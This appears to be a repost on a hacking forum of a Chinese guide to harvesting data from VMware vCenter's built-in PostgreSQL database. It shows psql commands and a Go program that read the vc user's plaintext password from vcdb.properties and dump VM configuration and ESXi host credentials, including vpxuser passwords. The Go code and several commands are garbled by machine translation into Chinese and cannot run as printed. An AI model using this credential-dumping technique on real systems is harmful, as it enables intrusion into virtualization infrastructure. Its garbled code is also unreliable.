跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

vSphere开发指南4——PostgreSQL


CHQ1d

推荐的帖子

0x00 前言

前面三篇文章《vSphere开发指南1——vSphere Automation API》,《vSphere开发指南2——vSphere Web Services API》,《vSphere开发指南3——VMware PowerCLI》介绍了与虚拟机交互的方法,可以远程导出虚拟机的配置信息。本文将介绍在vCenter中通过PostgreSQL数据库导出虚拟机配置信息的方法。

0x01 简介

本文将介绍以下内容:

导出方法

程序实现

0x02 导出方法

默认情况下,PostgreSQL数据库安装在vCenter中,用于存储虚拟机和ESXI的信息。

前一篇文章《Confluence利用指南》中提到:

安装PostgreSQL后,将在本地操作系统中创建一个名为postgres的用户,默认情况下没有密码。

如果没有设置用户postgres的密码,可以通过以下命令连接到PostgreSQL数据库:

psql -h localhost -U postgres

执行结果如下

1-1.png

默认用户列表如下

1-2.png

如果设置了用户postgres的密码,无法获取,可以选择用户vc进行操作。连接PostgreSQL数据库的命令如下:

psql -h localhost -d VCDB -U vc

执行结果如下

1-3.png

vc的用户明文密码存储在固定文件/etc/VMware-vpx/vcdb . properties中。

注:

Psql不支持直接导入命令作为参数,需要交互环境才能运行。

连接到PostgreSQL数据库后,查询虚拟机配置信息的命令如下:

SELECT * FROM vc.vpx _ vm

连接到PostgreSQL数据库后,查询ESXI配置信息的命令如下:

SELECT * FROM vc.vpx _ host

为了便于使用,可以将连接PostgreSQL数据库和查询命令结合使用。以下是两个命令示例:

(1)使用用户postgres查询虚拟机配置信息

psql-h localhost-U postgres-c ' SELECT file _ name,guest_os,ip _ address FROM vc.vpx _ vm'-d VCDB

(2)使用用户vc查询ESXI配置信息

psql-h localhost-U VC-c ' SELECT name,username,password,password _ last _ upd _ dt FROM VC . vpxv _ hosts;'-d VCDB -W

注:

Psql不支持将直接导入命令作为参数。如果用户设置了密码,则需要在交互环境中再次输入连接密码。

0x03 程序实现

由于psql不支持直接导入命令作为参数,这里可以考虑写一个程序实现数据库连接和查询配置。

考虑到综合适用性和方便性,这里选择Golang作为开发语言。

支持PostgreSQL的第三方包选择https://github.com/bmizerany/pq.

1、安装第三方包

该命令如下所示:

去找github.com/lib/pq

2.编写代码

通过Go Get github.com/lib/pq安装的第三方包在vCenter下使用会有bug。连接到数据库时,会提示您设置不支持pgservicefile。

这是因为vCenter环境中默认设置了环境变量$PGSERVICEFILE,通过Go Get github.com/lib/pq安装的第三方包默认引用了这个变量,导致了错误。

错误位置:% gopath % \ src \ github.com \ lib \ pq \ conn . go,第1988-1989行,如下所示

2-1.png

而github上的代码已经修复了这个bug。代码地址是https://github.com/bmizerany/pq/blob/master/conn.go#L644.

如下图

2-2.png

所以在这里,我们只需要注释掉% gopath % \ src \ github.com \ lib \ pq \ conn . go的第1988和1989行,如下所示。

2-3.png

在代码实现中,首先读取文件/etc/VMware-vpx/vcdb . properties获取用户vc的明文密码,然后使用用户vc连接PostgreSQL数据库,最后导出虚拟机配置信息。

完整的实现代码如下:

主包装

导入(

'数据库/sql '

' fmt '

“字符串”

io/ioutil '

_ 'github.com/lib/pq '

)

func connectDB() *sql。数据库{

fmt。Println('[ ]获取配置')

b,err :=ioutil。ReadFile('/etc/VMware-vpx/vcdb . properties ')

如果err!=零{

fmt。打印(错误)

}

str :=string(b)

fmt。打印(字符串)

index1 :=字符串。索引(字符串,“密码”)

index2 :=字符串。索引(字符串,'密码.加密')

密码:=b[索引1 11:索引2]

var host='localhost '

var port int=5432

var user='vc '

var dbname='VCDB '

psqlInfo :=fmt。Sprintf('主机=%s端口=%d用户=%s '

密码=%s数据库名=%s sslmode=disable ',

主机、端口、用户、密码、数据库名)

fmt。Println('[*] psqlInfo:' psqlInfo ')

db,err :=sql。打开(' postgres ',psqlInfo)

如果err!=零{

恐慌(错误)

}

err=db。Ping()

如果err!=零{

恐慌(错误)

}

fmt。Println('[ ]成功连接!')

返回数据库

}

func queryVM(db *sql .DB){

变量文件名、来宾操作系统、ip地址、电源状态字符串

fmt .Println('[*]查询虚拟机)

行数,err:=db .查询('从vc.vpx_vm中选择文件名、来宾操作系统、ip地址、电源状态)

如果呃!=零{

恐慌(错误)

}

推迟行。关闭()

对于行。下一个(){

错误:=行。扫描(文件名、来宾操作系统、ip地址、电源状态)

如果呃!=零{

//fmt .Println(错误)

}

fmt .Println(' -文件名: '文件名)

fmt .Println('来宾操作系统: '来宾操作系统)

fmt .Println(' ip地址:' ip地址

fmt .Println('电源状态: '电源状态)

}

错误=行。错误()

如果呃!=零{

恐慌(错误)

}

}

函数查询yessi(db * SQL .DB){

变量名称,用户名,密码,密码_姓氏_更新_dt字符串

fmt .Println('[*]查询ESXI’)

行数,err:=db .查询(' SELECT姓名,用户名,密码,password _ last _ upd _ dt FROM VC。vpxv _ hosts’)

如果呃!=零{

恐慌(错误)

}

推迟行。关闭()

对于行。下一个(){

错误:=行。扫描(姓名、用户名、密码、密码_姓氏_更新_日期)

如果呃!=零{

//fmt .Println(错误)

}

fmt .Println(' -名称: '名称)

fmt .Println('用户名: '用户名)

fmt .Println('密码: '密码

fmt .println(' password _ last:' password _ last _ upd _ dt)

}

错误=行。错误()

如果呃!=零{

恐慌(错误)

}

}

func main() {

db:=connectDB()

查询模式(分贝)

奎尔耶西(分贝)

}

3.跨平台编译

将以上代码保存为main.go

编译成Linux操作系统操作系统版本的命令如下:

设置CGO _启用=0

设置GOOS=linux

设置GOARCH=amd64

转到构建-o vCenter_Query_PostgreSQL

4.测试

在vCenter上执行vCenter_Query_PostgreSQL,能够自动导出虚拟机和ESXI的配置信息

补充:

执行命令SELECT姓名,用户名,密码,password _ last _ upd _ dt FROM VC。vpxv _ hosts能够导出vpxuser用户的加密口令

当ESXI主机连接vCenter时,ESXI主机会创建一个根权限的用户vpxuser

默认情况下,vCenter Server使用OpenSSL密码库作为随机来源,每30天生成一个新的vpxuser密码,密码长度为32个字符

0x04 小结

本文介绍了在vCenter上通过一种数据库系统数据库导出虚拟机配置信息的方法,在渗透测试中,是极其重要的一环。

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...